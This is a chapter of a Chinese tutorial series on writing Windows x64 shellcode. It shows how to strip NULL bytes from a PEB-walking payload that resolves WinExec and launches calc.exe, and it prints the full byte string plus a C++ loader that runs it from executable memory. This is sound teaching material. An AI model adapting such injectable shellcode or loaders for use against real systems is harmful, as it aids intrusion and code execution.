CppGuide社区 CppGuide社区
首页
  • 最新谷歌C++风格指南(含C++17/20)
  • C++17详解
  • C++20完全指南
  • C++23快速入门
  • C++语言面试问题集锦
  • 🔥C/C++后端开发常见面试题解析 (opens new window)
  • 网络编程面试题 (opens new window)
  • 网络编程面试题 答案详解 (opens new window)
  • 聊聊WebServer作面试项目那些事儿 (opens new window)
  • 字节跳动面试官现身说 (opens new window)
  • 技术简历指南 (opens new window)
  • 🔥交易系统开发岗位求职与面试指南 (opens new window)
  • 第1章 高频C++11重难点知识解析
  • 第2章 Linux GDB高级调试指南
  • 第3章 C++多线程编程从入门到进阶
  • 第4章 C++网络编程重难点解析
  • 第5章 网络通信故障排查常用命令
  • 第6章 高性能网络通信协议设计精要
  • 第7章 高性能服务结构设计
  • 第8章 Redis网络通信模块源码分析
  • 第9章 后端服务重要模块设计探索
  • 🚀 全部章节.pdf 下载 (opens new window)
  • 源码分析系列

    • leveldb源码分析
    • libevent源码分析
    • Memcached源码分析
    • TeamTalk源码分析
    • 优质源码分享 (opens new window)
    • 🔥远程控制软件gh0st源码分析
  • 从零手写C++项目系列

    • C++游戏编程入门(零基础学C++)
    • 🔥使用C++17从零开发一个调试器 (opens new window)
    • 🔥使用C++20从零构建一个完整的低延迟交易系统 (opens new window)
    • 🔥使用C++从零写一个C语言编译器 (opens new window)
    • 从零用C语言写一个Redis
  • Windows 10系统编程
  • 🔥Windows x64 ShellCode入门教程
  • Go语言特性

    • Go开发实用指南
    • Go系统接口编程
    • 高效Go并发编程
    • Go性能调优
    • Go项目架构设计
  • Go项目实战

    • 使用Go从零开发一个数据库
    • 🔥使用Go从零开发一个编译器 (opens new window)
    • 🔥使用Go从零开发一个解释器 (opens new window)
    • 🔥用Go从零写一个编排器(类Kubernetes) (opens new window)
  • Rust编程

    • Rust编程指南
  • 数据库

    • SQL零基础指南
    • MySQL开发与调试指南
  • Linux内核

    • 心中的内核 —— 在阅读内核代码之前先理解内核
    • 🔥Linux 5.x内核开发与调试 完全指南 (opens new window)
    • TCP源码实现超详细注释版.pdf (opens new window)
GitHub (opens new window)
首页
  • 最新谷歌C++风格指南(含C++17/20)
  • C++17详解
  • C++20完全指南
  • C++23快速入门
  • C++语言面试问题集锦
  • 🔥C/C++后端开发常见面试题解析 (opens new window)
  • 网络编程面试题 (opens new window)
  • 网络编程面试题 答案详解 (opens new window)
  • 聊聊WebServer作面试项目那些事儿 (opens new window)
  • 字节跳动面试官现身说 (opens new window)
  • 技术简历指南 (opens new window)
  • 🔥交易系统开发岗位求职与面试指南 (opens new window)
  • 第1章 高频C++11重难点知识解析
  • 第2章 Linux GDB高级调试指南
  • 第3章 C++多线程编程从入门到进阶
  • 第4章 C++网络编程重难点解析
  • 第5章 网络通信故障排查常用命令
  • 第6章 高性能网络通信协议设计精要
  • 第7章 高性能服务结构设计
  • 第8章 Redis网络通信模块源码分析
  • 第9章 后端服务重要模块设计探索
  • 🚀 全部章节.pdf 下载 (opens new window)
  • 源码分析系列

    • leveldb源码分析
    • libevent源码分析
    • Memcached源码分析
    • TeamTalk源码分析
    • 优质源码分享 (opens new window)
    • 🔥远程控制软件gh0st源码分析
  • 从零手写C++项目系列

    • C++游戏编程入门(零基础学C++)
    • 🔥使用C++17从零开发一个调试器 (opens new window)
    • 🔥使用C++20从零构建一个完整的低延迟交易系统 (opens new window)
    • 🔥使用C++从零写一个C语言编译器 (opens new window)
    • 从零用C语言写一个Redis
  • Windows 10系统编程
  • 🔥Windows x64 ShellCode入门教程
  • Go语言特性

    • Go开发实用指南
    • Go系统接口编程
    • 高效Go并发编程
    • Go性能调优
    • Go项目架构设计
  • Go项目实战

    • 使用Go从零开发一个数据库
    • 🔥使用Go从零开发一个编译器 (opens new window)
    • 🔥使用Go从零开发一个解释器 (opens new window)
    • 🔥用Go从零写一个编排器(类Kubernetes) (opens new window)
  • Rust编程

    • Rust编程指南
  • 数据库

    • SQL零基础指南
    • MySQL开发与调试指南
  • Linux内核

    • 心中的内核 —— 在阅读内核代码之前先理解内核
    • 🔥Linux 5.x内核开发与调试 完全指南 (opens new window)
    • TCP源码实现超详细注释版.pdf (opens new window)
GitHub (opens new window)
  • Windows x64 ShellCode入门教程
  • Windows x64 ShellCode入门教程 01
  • Windows x64 ShellCode入门教程 02
  • Windows x64 ShellCode入门教程 03
  • Windows x64 ShellCode入门教程 04
  • Windows x64 ShellCode入门教程 05
  • Windows x64 ShellCode入门教程程 06
  • Windows x64 ShellCode入门教程 07

Windows x64 ShellCode入门教程 03

# Windows x64 ShellCode入门教程 03

现在终于到了我们清理代码并移除代码中NULL字节的时刻了。通过这种方式,我们就能在缓冲区溢出等场景中可靠地使用shellcode了。让我们开始吧!

我们将从包含NULL字节的代码开始。我会从本系列第一部分中使用的代码的底部开始,逐步向上分析。如果您需要随时参考该代码,在浏览器中打开一个单独的标签页可能会很有帮助。

00000000000000a5 <executeit>:
  a5:   41 5f                   pop    %r15
  a7:   b8 00 00 00 00          mov    $0x0,%eax
  ac:   50                      push   %rax
  ad:   48 b8 63 61 6c 63 2e    movabs $0x6578652e636c6163,%rax
  b4:   65 78 65
  b7:   50                      push   %rax
  b8:   48 89 e1                mov    %rsp,%rcx
  bb:   ba 01 00 00 00          mov    $0x1,%edx
  c0:   48 83 ec 30             sub    $0x30,%rsp
  c4:   41 ff d7                call   *%r15
1
2
3
4
5
6
7
8
9
10
11

首次出现NULL字节的代码位于这一行:

b8 00 00 00 00          mov    $0x0,%eax
1

这里引入NULL字节的原因是由于使用了mov指令来移动NULL字节用于终止字符串,目的是将寄存器eax清零,我们将用**异或(XOR)**指令替换这条MOV指令:

xor rax, rax
push rax
1
2

现在运行objdump并查看结果。已经没有零了:

48 31 c0                xor    %rax,%rax
50                      push   %rax
1
2

好的,接下来是下一个有问题的地方,这一行:

ba 01 00 00 00          mov    $0x1,%edx
1

我相信你已经弄明白了😸 我们只需要再把mov替换成xor就行了:

xor rdx, rdx
inc rdx
1
2

现在让我们再次查看objdump的输出,也没有零了。

48 31 d2                xor    %rdx,%rdx
48 ff c2                inc    %rdx
1
2

接下来是另外两个。它们来自**OrdinalLookup和OrdinalLookupSetup**。直接把这些行完全删掉就行。这些跳转是不必要的,我当初写这样的代码主要是用它们来帮助调试代码。好了,这很简单吧?

78 00                   js     7b <OrdinalLookup>
78 00                   js     a5 <executeit>
1
2

好了,我们就快完成了!我们现在处于代码顶部的**main**函数中。你只需删除这一行:

eb 00                   jmp    59 <kernel32findfunction>
1

接下来的这两个对我来说是最难解决的。我们需要保留字符串终止符,但又不想处理NULL字节。

; movabs一个典型用途是加载一个绝对的 64 位内存地址到寄存器中
48 b8 57 69 6e 45 78    movabs $0x636578456e6957,%rax
65 63 00
1
2
3

我们将使用一个巧妙的按位左移和右移技巧,在已存入内存的字符串后“实际”添加一个零。具体操作如下,我们会用nop作为占位符,替代通常会出现00的位置:

mov rax, 0x90636578456E6957           ;WinExec地址
shl rax, 0x8                          ;636578456E695700 <--注意这里的90如何变成00
shr rax, 0x8                          ;00636578456E6957 <-- 现在nop指令已经被0代替了,但是这个0值并不会出现在我们最终的机器码(shellcode)中
1
2
3

现在让我们查看objdump的输出。发现已经没有NULL值了!

48 c1 e0 08             shl    $0x8,%rax
48 c1 e8 08             shr    $0x8,%rax
50                      push   %rax
1
2
3

当我们push rax时,会看到熟悉的WinExec字符串,并且可以在shellcode中不包含NULL值的情况下满足保留它的需求。

现在就剩最后一个空值了!

8b 93 88 00 00 00       mov    0x88(%rbx),%edx
1

基本上,我们只需要将**[rbx+0x88]的十六进制值移到rdx**中。然而,我们并不能完全按照你预期的方式来做,这种“简单”的方法会产生空值。相反,我们需要这样做:

xor rcx, rcx                  ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add
add cx, 0x88ff                ; add to lower portion of register
shr rcx, 0x8                  ; shift right, which will remove the FF placeholder and leave the value we want: RCX = 0x88ff --> 0x88
mov edx, [rbx+rcx]            ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable
1
2
3
4

现在所有的空值都已被移除!我们现在可以获取新生成的shellcode(不含空值),并在缓冲区溢出中使用,无需担心任何与空值相关的问题。以下是我这边的objdump输出结果:

winexec_nonulls.obj:     file format pe-x86-64

Disassembly of section .text:

0000000000000000 <main>:
   0:   48 83 ec 28             sub    $0x28,%rsp
   4:   48 83 e4 f0             and    $0xfffffffffffffff0,%rsp
   8:   48 31 c9                xor    %rcx,%rcx
   b:   65 48 8b 41 60          mov    %gs:0x60(%rcx),%rax
  10:   48 8b 40 18             mov    0x18(%rax),%rax
  14:   48 8b 70 10             mov    0x10(%rax),%rsi
  18:   48 8b 36                mov    (%rsi),%rsi
  1b:   48 8b 36                mov    (%rsi),%rsi
  1e:   48 8b 5e 30             mov    0x30(%rsi),%rbx
  22:   49 89 d8                mov    %rbx,%r8
  25:   8b 5b 3c                mov    0x3c(%rbx),%ebx
  28:   4c 01 c3                add    %r8,%rbx
  2b:   48 31 c9                xor    %rcx,%rcx
  2e:   66 81 c1 ff 88          add    $0x88ff,%cx
  33:   48 c1 e9 08             shr    $0x8,%rcx
  37:   8b 14 0b                mov    (%rbx,%rcx,1),%edx
  3a:   4c 01 c2                add    %r8,%rdx
  3d:   44 8b 52 14             mov    0x14(%rdx),%r10d
  41:   4d 31 db                xor    %r11,%r11
  44:   44 8b 5a 20             mov    0x20(%rdx),%r11d
  48:   4d 01 c3                add    %r8,%r11
  4b:   4c 89 d1                mov    %r10,%rcx
  4e:   48 b8 57 69 6e 45 78    movabs $0x90636578456e6957,%rax
  55:   65 63 90
  58:   48 c1 e0 08             shl    $0x8,%rax
  5c:   48 c1 e8 08             shr    $0x8,%rax
  60:   50                      push   %rax
  61:   48 89 e0                mov    %rsp,%rax
  64:   48 83 c4 08             add    $0x8,%rsp

0000000000000068 <kernel32findfunction>:
  68:   67 e3 17                jecxz  82 <FunctionNameNotFound>
  6b:   31 db                   xor    %ebx,%ebx
  6d:   41 8b 5c 8b 04          mov    0x4(%r11,%rcx,4),%ebx
  72:   4c 01 c3                add    %r8,%rbx
  75:   48 ff c9                dec    %rcx
  78:   4c 8b 08                mov    (%rax),%r9
  7b:   4c 39 0b                cmp    %r9,(%rbx)
  7e:   74 03                   je     83 <FunctionNameFound>
  80:   75 e6                   jne    68 <kernel32findfunction>

0000000000000082 <FunctionNameNotFound>:
  82:   cc                      int3

0000000000000083 <FunctionNameFound>:
  83:   51                      push   %rcx
  84:   41 5f                   pop    %r15
  86:   4c 89 f9                mov    %r15,%rcx
  89:   4d 31 db                xor    %r11,%r11
  8c:   44 8b 5a 24             mov    0x24(%rdx),%r11d
  90:   4d 01 c3                add    %r8,%r11
  93:   48 ff c1                inc    %rcx
  96:   66 45 8b 2c 4b          mov    (%r11,%rcx,2),%r13w
  9b:   4d 31 db                xor    %r11,%r11
  9e:   44 8b 5a 1c             mov    0x1c(%rdx),%r11d
  a2:   4d 01 c3                add    %r8,%r11
  a5:   43 8b 44 ab 04          mov    0x4(%r11,%r13,4),%eax
  aa:   4c 01 c0                add    %r8,%rax
  ad:   50                      push   %rax
  ae:   41 5f                   pop    %r15
  b0:   48 31 c0                xor    %rax,%rax
  b3:   50                      push   %rax
  b4:   48 b8 63 61 6c 63 2e    movabs $0x6578652e636c6163,%rax
  bb:   65 78 65
  be:   50                      push   %rax
  bf:   48 89 e1                mov    %rsp,%rcx
  c2:   48 31 d2                xor    %rdx,%rdx
  c5:   48 ff c2                inc    %rdx
  c8:   48 83 ec 30             sub    $0x30,%rsp
  cc:   41 ff d7                call   *%r15
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75

现在让我们转换为shellcode。这次我会使用Linux,并使用以下命令:

nasm -fwin64 winexec_nonulls.asm -o winexec_nonulls.o

for i in $(objdump -D winexec_nonulls.o | grep “^ “ | cut -f2); do echo -n “\x$i” ; done
1
2
3

这是我得到的结果:

"\x48\x83\xec\x28\x48\x83\xe4\xf0\x48\x31\xc9\x65\x48\x8b\x41\x60\x48\x8b"
"\x40\x18\x48\x8b\x70\x10\x48\x8b\x36\x48\x8b\x36\x48\x8b\x5e\x30\x49\x89"
"\xd8\x8b\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9"
"\x08\x8b\x14\x0b\x4c\x01\xc2\x44\x8b\x52\x14\x4d\x31\xdb\x44\x8b\x5a\x20"
"\x4d\x01\xc3\x4c\x89\xd1\x48\xb8\x57\x69\x6e\x45\x78\x65\x63\x90\x48\xc1"
"\xe0\x08\x48\xc1\xe8\x08\x50\x48\x89\xe0\x48\x83\xc4\x08\x67\xe3\x17\x31"
"\xdb\x41\x8b\x5c\x8b\x04\x4c\x01\xc3\x48\xff\xc9\x4c\x8b\x08\x4c\x39\x0b"
"\x74\x03\x75\xe6\xcc\x51\x41\x5f\x4c\x89\xf9\x4d\x31\xdb\x44\x8b\x5a\x24"
"\x4d\x01\xc3\x48\xff\xc1\x66\x45\x8b\x2c\x4b\x4d\x31\xdb\x44\x8b\x5a\x1c"
"\x4d\x01\xc3\x43\x8b\x44\xab\x04\x4c\x01\xc0\x50\x41\x5f\x48\x31\xc0\x50"
"\x48\xb8\x63\x61\x6c\x63\x2e\x65\x78\x65\x50\x48\x89\xe1\x48\x31\xd2\x48"
"\xff\xc2\x48\x83\xec\x30\x41\xff\xd7";
1
2
3
4
5
6
7
8
9
10
11
12

让我们在一些实际代码中尝试使用它,以确保它能按预期工作。

#include <windows.h>
#include <iostream>

// Shellcode (as given, formatted for clarity)
unsigned char shellcode[] =
"\x48\x83\xec\x28\x48\x83\xe4\xf0\x48\x31\xc9\x65\x48\x8b\x41\x60\x48\x8b"
"\x40\x18\x48\x8b\x70\x10\x48\x8b\x36\x48\x8b\x36\x48\x8b\x5e\x30\x49\x89"
"\xd8\x8b\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9"
"\x08\x8b\x14\x0b\x4c\x01\xc2\x44\x8b\x52\x14\x4d\x31\xdb\x44\x8b\x5a\x20"
"\x4d\x01\xc3\x4c\x89\xd1\x48\xb8\x57\x69\x6e\x45\x78\x65\x63\x90\x48\xc1"
"\xe0\x08\x48\xc1\xe8\x08\x50\x48\x89\xe0\x48\x83\xc4\x08\x67\xe3\x17\x31"
"\xdb\x41\x8b\x5c\x8b\x04\x4c\x01\xc3\x48\xff\xc9\x4c\x8b\x08\x4c\x39\x0b"
"\x74\x03\x75\xe6\xcc\x51\x41\x5f\x4c\x89\xf9\x4d\x31\xdb\x44\x8b\x5a\x24"
"\x4d\x01\xc3\x48\xff\xc1\x66\x45\x8b\x2c\x4b\x4d\x31\xdb\x44\x8b\x5a\x1c"
"\x4d\x01\xc3\x43\x8b\x44\xab\x04\x4c\x01\xc0\x50\x41\x5f\x48\x31\xc0\x50"
"\x48\xb8\x63\x61\x6c\x63\x2e\x65\x78\x65\x50\x48\x89\xe1\x48\x31\xd2\x48"
"\xff\xc2\x48\x83\xec\x30\x41\xff\xd7";

int main() {
    void* exec_mem = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    if (exec_mem == nullptr) {
        std::cerr << "Memory allocation failed\n";
        return -1;
    }

    memcpy(exec_mem, shellcode, sizeof(shellcode));
    auto shellcode_func = reinterpret_cast<void(*)()>(exec_mem);
    shellcode_func();
    VirtualFree(exec_mem, 0, MEM_RELEASE);

    return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

就是这样!无NULL字节的shellcode成功了😄 到目前为止,我在这个系列中玩得很开心,还有更多令人兴奋的内容即将到来。我仍然需要按承诺在某个时候完成动态消息框。一切都会在适当的时候进行。下次见!

Windows x64 ShellCode入门教程 02
Windows x64 ShellCode入门教程 04

← Windows x64 ShellCode入门教程 02 Windows x64 ShellCode入门教程 04→

最近更新
01
C++语言面试问题集锦 目录与说明
03-27
02
第二章 关键字static及其不同用法
03-27
03
第一章 auto与类型推导
03-27
更多文章>
Copyright © 2024-2025 沪ICP备2023015129号 张小方 版权所有
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式